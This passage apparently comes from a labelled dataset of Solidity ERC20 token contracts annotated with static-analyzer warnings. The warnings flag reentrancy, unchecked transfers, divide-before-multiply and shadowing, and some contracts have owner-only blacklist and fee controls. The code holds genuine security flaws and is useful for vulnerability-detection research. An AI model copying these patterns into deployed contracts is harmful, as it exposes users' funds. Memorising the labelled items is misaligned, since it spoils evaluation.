Vulnerability (reentrancy-eth | severity: High | ID: 28b982d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 28b982d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n require(\n !isBlacklisted[from] && !isBlacklisted[to],\n \"You can't transfer tokens\"\n );\n\n uint256 TaxSwap = 0;\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n require(tradeEnable, \"Trading not enabled\");\n\n TaxSwap = (amount * (buyTaxes)) / (100);\n }\n\n if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {\n TaxSwap = 0;\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= maxTxAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _Buys_In++;\n }\n\n if (\n from != uniswapV2Pair &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= maxTxAmount, \"Exceeds the _maxTxAmount.\");\n }\n\n if (\n to == uniswapV2Pair &&\n from != address(this) &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n TaxSwap = (amount * (sellTaxes)) / (100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n from != uniswapV2Pair &&\n _SwapBackEnable &&\n contractTokenBalance > SwapTokens &&\n _Buys_In > 1\n ) {\n\t\t\t// reentrancy-events | ID: 8974426\n\t\t\t// reentrancy-eth | ID: 28b982d\n swapTokensForEth(\n min(amount, min(contractTokenBalance, maxSwapTokens))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t// reentrancy-events | ID: 8974426\n\t\t\t\t// reentrancy-eth | ID: 28b982d\n sendETHToFee(address(this).balance);\n }\n }\n\n\t\t// reentrancy-eth | ID: 28b982d\n _balances[from] = _balances[from] - amount;\n\n\t\t// reentrancy-eth | ID: 28b982d\n _balances[to] = _balances[to] + (amount - (TaxSwap));\n\n\t\t// reentrancy-events | ID: 8974426\n emit Transfer(from, to, amount - (TaxSwap));\n\n if (TaxSwap > 0) {\n\t\t\t// reentrancy-eth | ID: 28b982d\n _balances[address(this)] = _balances[address(this)] + (TaxSwap);\n\n\t\t\t// reentrancy-events | ID: 8974426\n emit Transfer(from, address(this), TaxSwap);\n }\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n require(tokenAmount > 0, \"amount must be greeter than 0\");\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8974426\n\t\t// reentrancy-events | ID: d7786e3\n\t\t// reentrancy-eth | ID: 1130a1c\n\t\t// reentrancy-eth | ID: 28b982d\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n require(amount > 0, \"amount must be greeter than 0\");\n\n uint256 DevFeeAmount;\n\n if (balanceOf(address(this)) >= maxSwapTokens) {\n DevFeeAmount = (amount * (1)) / (2);\n } else {\n DevFeeAmount = (amount * (1)) / (2);\n }\n\n\t\t// reentrancy-events | ID: 8974426\n\t\t// reentrancy-events | ID: d7786e3\n\t\t// reentrancy-eth | ID: 1130a1c\n\t\t// reentrancy-eth | ID: 28b982d\n DevWallet.transfer(DevFeeAmount);\n\n\t\t// reentrancy-events | ID: 8974426\n\t\t// reentrancy-events | ID: d7786e3\n\t\t// reentrancy-eth | ID: 1130a1c\n\t\t// reentrancy-eth | ID: 28b982d\n MarketingWallet.transfer(amount - (DevFeeAmount));\n }\n\n function removeMaxTxLimit() external onlyOwner {\n maxTxAmount = _tTotal;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 129b6ee): tscan.changeFee(uint256,uint256) should emit an event for buyTaxes = _buyFee sellTaxes = _sellFee \n\t// Recommendation for 129b6ee: Emit an event for critical parameter changes.\n function changeFee(uint256 _buyFee, uint256 _sellFee) external onlyOwner {\n require(_buyFee <= 40 && _sellFee <= 40, \"revert wrong fee settings\");\n\n\t\t// events-maths | ID: 129b6ee\n buyTaxes = _buyFee;\n\n\t\t// events-maths | ID: 129b6ee\n sellTaxes = _sellFee;\n }\n\n function excludeFromFee(address account) external onlyOwner {\n require(\n _isExcludedFromFee[account] != true,\n \"Account is already excluded\"\n );\n\n _isExcludedFromFee[account] = true;\n\n emit ExcludeFromFeeUpdated(account);\n }\n\n function includeFromFee(address account) external onlyOwner {\n require(\n _isExcludedFromFee[account] != false,\n \"Account is already included\"\n );\n\n _isExcludedFromFee[account] = false;\n\n emit includeFromFeeUpdated(account);\n }\n\n function setBlacklist(address _address, bool _status) external onlyOwner {\n isBlacklisted[_address] = _status;\n }\n\n function setTrading() external onlyOwner {\n require(!tradeEnable, \"trading is already open\");\n\n _SwapBackEnable = true;\n\n tradeEnable = true;\n\n emit TradingOpenUpdated();\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fd1ee58): Reentrancy in tscan.recoverERC20FromContract(address,uint256) External calls IERC20(_tokenAddy).transfer(MarketingWallet,_amount) Event emitted after the call(s) ERC20TokensRecovered(_amount)\n\t// Recommendation for fd1ee58: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 7854b05): tscan.recoverERC20FromContract(address,uint256) ignores return value by IERC20(_tokenAddy).transfer(MarketingWallet,_amount)\n\t// Recommendation for 7854b05: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function recoverERC20FromContract(\n address _tokenAddy,\n uint256 _amount\n ) external onlyOwner {\n require(\n _tokenAddy != address(this),\n \"Owner can't claim contract's balance of its own tokens\"\n );\n\n require(_amount > 0, \"Amount should be greater than zero\");\n\n require(\n _amount <= IERC20(_tokenAddy).balanceOf(address(this)),\n \"Insufficient Amount\"\n );\n\n\t\t// reentrancy-events | ID: fd1ee58\n\t\t// unchecked-transfer | ID: 7854b05\n IERC20(_tokenAddy).transfer(MarketingWallet, _amount);\n\n\t\t// reentrancy-events | ID: fd1ee58\n emit ERC20TokensRecovered(_amount);\n }\n\n function recoverETHfromContract() external {\n uint256 contractETHBalance = address(this).balance;\n\n require(contractETHBalance > 0, \"Amount should be greater than zero\");\n\n require(\n contractETHBalance <= address(this).balance,\n \"Insufficient Amount\"\n );\n\n payable(address(MarketingWallet)).transfer(contractETHBalance);\n\n emit ETHBalanceRecovered();\n }\n}\n",
"file_name": "solidity_code_10551.sol",
"size_bytes": 19341,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Eric is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 75eeca2): Eric._taxWallet should be immutable \n\t// Recommendation for 75eeca2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5a6e211): Eric._initialBuyTax should be constant \n\t// Recommendation for 5a6e211: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: a09f1b3): Eric._initialSellTax should be constant \n\t// Recommendation for a09f1b3: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 21;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7bf9af0): Eric._reduceBuyTaxAt should be constant \n\t// Recommendation for 7bf9af0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 14fb6ea): Eric._reduceSellTaxAt should be constant \n\t// Recommendation for 14fb6ea: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 216f59a): Eric._preventSwapBefore should be constant \n\t// Recommendation for 216f59a: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Elon's Pet Bee\";\n\n string private constant _symbol = unicode\"ERIC\";\n\n uint256 public _maxTxAmount = 13000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 13000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f1cfd8b): Eric._taxSwapThreshold should be constant \n\t// Recommendation for f1cfd8b: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d27fb7f): Eric._maxTaxSwap should be constant \n\t// Recommendation for d27fb7f: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x4bE1Ae8C39ad8040766dF7dd1706169eF5b05A49);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a0f9d8e): Eric.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a0f9d8e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9f9a950): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9f9a950: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 551fb1c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 551fb1c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9f9a950\n\t\t// reentrancy-benign | ID: 551fb1c\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 9f9a950\n\t\t// reentrancy-benign | ID: 551fb1c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2c378a5): Eric._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2c378a5: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 551fb1c\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9f9a950\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a9c5379): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a9c5379: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a5ec999): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a5ec999: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: a9c5379\n\t\t\t\t// reentrancy-eth | ID: a5ec999\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: a9c5379\n\t\t\t\t\t// reentrancy-eth | ID: a5ec999\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: a5ec999\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: a5ec999\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a5ec999\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: a9c5379\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: a5ec999\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: a5ec999\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: a9c5379\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9f9a950\n\t\t// reentrancy-events | ID: a9c5379\n\t\t// reentrancy-benign | ID: 551fb1c\n\t\t// reentrancy-eth | ID: a5ec999\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9f9a950\n\t\t// reentrancy-events | ID: a9c5379\n\t\t// reentrancy-eth | ID: a5ec999\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a82462b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a82462b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 94e6095): Eric.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 94e6095: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5b1b9ec): Eric.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 5b1b9ec: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c6fc23a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c6fc23a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: a82462b\n\t\t// reentrancy-eth | ID: c6fc23a\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: a82462b\n\t\t// unused-return | ID: 5b1b9ec\n\t\t// reentrancy-eth | ID: c6fc23a\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: a82462b\n\t\t// unused-return | ID: 94e6095\n\t\t// reentrancy-eth | ID: c6fc23a\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: a82462b\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: c6fc23a\n tradingOpen = true;\n }\n\n function ReduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10552.sol",
"size_bytes": 19837,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\npragma solidity ^0.8.0;\n\nlibrary SignedMath {\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n function average(int256 a, int256 b) internal pure returns (int256) {\n int256 x = (a & b) + ((a ^ b) >> 1);\n\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n\nlibrary Math {\n error MathOverflowedMulDiv();\n\n enum Rounding {\n Floor,\n Ceil,\n Trunc,\n Expand\n }\n\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n if (b == 0) {\n return a / b;\n }\n\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 64bd602): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 64bd602: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: daefdc1): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for daefdc1: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 75d52c1): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 75d52c1: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: fbe463b): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division prod0 = prod0 / twos result = prod0 * inverse\n\t// Recommendation for fbe463b: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4689975): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 4689975: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 6440b7b): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse = (3 * denominator) ^ 2\n\t// Recommendation for 6440b7b: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 086d9c2): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 086d9c2: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 41b8f60): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 41b8f60: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (incorrect-exp | severity: High | ID: 104da5e): Math.mulDiv(uint256,uint256,uint256) has bitwisexor operator ^ instead of the exponentiation operator ** inverse = (3 * denominator) ^ 2\n\t// Recommendation for 104da5e: Use the correct operator '**' for exponentiation.\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n uint256 prod0 = x * y;\n\n uint256 prod1;\n\n assembly {\n let mm := mulmod(x, y, not(0))\n\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n if (denominator <= prod1) {\n revert MathOverflowedMulDiv();\n }\n\n uint256 remainder;\n\n assembly {\n remainder := mulmod(x, y, denominator)\n\n prod1 := sub(prod1, gt(remainder, prod0))\n\n prod0 := sub(prod0, remainder)\n }\n\n uint256 twos = denominator & (0 - denominator);\n\n assembly {\n\t\t\t\t// divide-before-multiply | ID: 64bd602\n\t\t\t\t// divide-before-multiply | ID: daefdc1\n\t\t\t\t// divide-before-multiply | ID: 75d52c1\n\t\t\t\t// divide-before-multiply | ID: 4689975\n\t\t\t\t// divide-before-multiply | ID: 6440b7b\n\t\t\t\t// divide-before-multiply | ID: 086d9c2\n\t\t\t\t// divide-before-multiply | ID: 41b8f60\n denominator := div(denominator, twos)\n\n\t\t\t\t// divide-before-multiply | ID: fbe463b\n prod0 := div(prod0, twos)\n\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n prod0 |= prod1 * twos;\n\n\t\t\t// divide-before-multiply | ID: 6440b7b\n\t\t\t// incorrect-exp | ID: 104da5e\n uint256 inverse = 